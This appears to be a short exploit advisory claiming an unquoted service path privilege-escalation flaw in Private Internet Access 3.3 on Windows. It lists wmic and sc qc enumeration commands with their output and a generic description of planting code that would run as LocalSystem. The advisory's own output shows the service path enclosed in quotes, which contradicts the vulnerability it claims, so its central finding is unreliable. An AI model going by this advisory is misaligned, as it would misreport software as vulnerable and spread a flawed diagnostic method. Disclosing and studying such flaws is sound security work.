# Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path # Date: 04/03/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.privateinternetaccess.com # Software Link: https://www.privateinternetaccess.com/download # Version: 3.3.0.100 # Tested: Windows 10 x64 # Contact: https://twitter.com/dmaral3noz # Step to discover Unquoted Service Path: C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname DisplayName Name PathName StartMode StartName Private Internet Access Service PrivateInternetAccessService "C:\Program Files\Private Internet Access\pia-service.exe" Auto LocalSystem # Service info: C:\Users\saudh>sc qc PrivateInternetAccessService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: PrivateInternetAccessService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Private Internet Access\pia-service.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Private Internet Access Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.